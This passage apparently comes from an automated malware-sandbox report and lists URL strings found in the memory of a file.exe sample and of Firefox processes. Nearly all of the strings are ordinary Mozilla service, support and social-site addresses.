Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%ssetSlowScriptDebugHandler/debugService.activa
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededCan
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B4670F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744858280.0000025B44490000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-2.js
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/shims/mochitest-shim-2.jsshims/mochitest-shim-3.jsWeb
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/webcompat-reporter
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.combrowser.urlbar.openViewOnFocusupgradeTabsProgressListener
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764094823.0000025B48112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2764094823.0000025B48112000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGE
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGEDISCOVERY_STREAM_CONFIG_RESETgoogle
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsC:
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B4670F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/resource:///modules/UrlbarProviderOpen
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000002.2786679292.0000025B49951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/resource:///modules/UrlbarProviderTopSites
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B485C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpchrome://browser/con
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2773697826.0000025B48BAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001C.00000002.2801668303.0000025B4FC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingspromiseLangPacksUpdated
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesUnable
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationAttempting
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B467F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.comcreateContentPrincipalFromOriginchrome://browser/skin/menu.svgdevice-c
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
